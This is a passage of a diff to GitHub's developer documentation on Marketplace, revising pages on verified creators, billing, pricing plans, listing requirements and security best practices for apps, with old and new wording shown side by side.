variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly.  In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps.  For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [marketplace@github.com](mailto:marketplace@github.com) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [marketplace@github.com](mailto:marketplace@github.com). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly 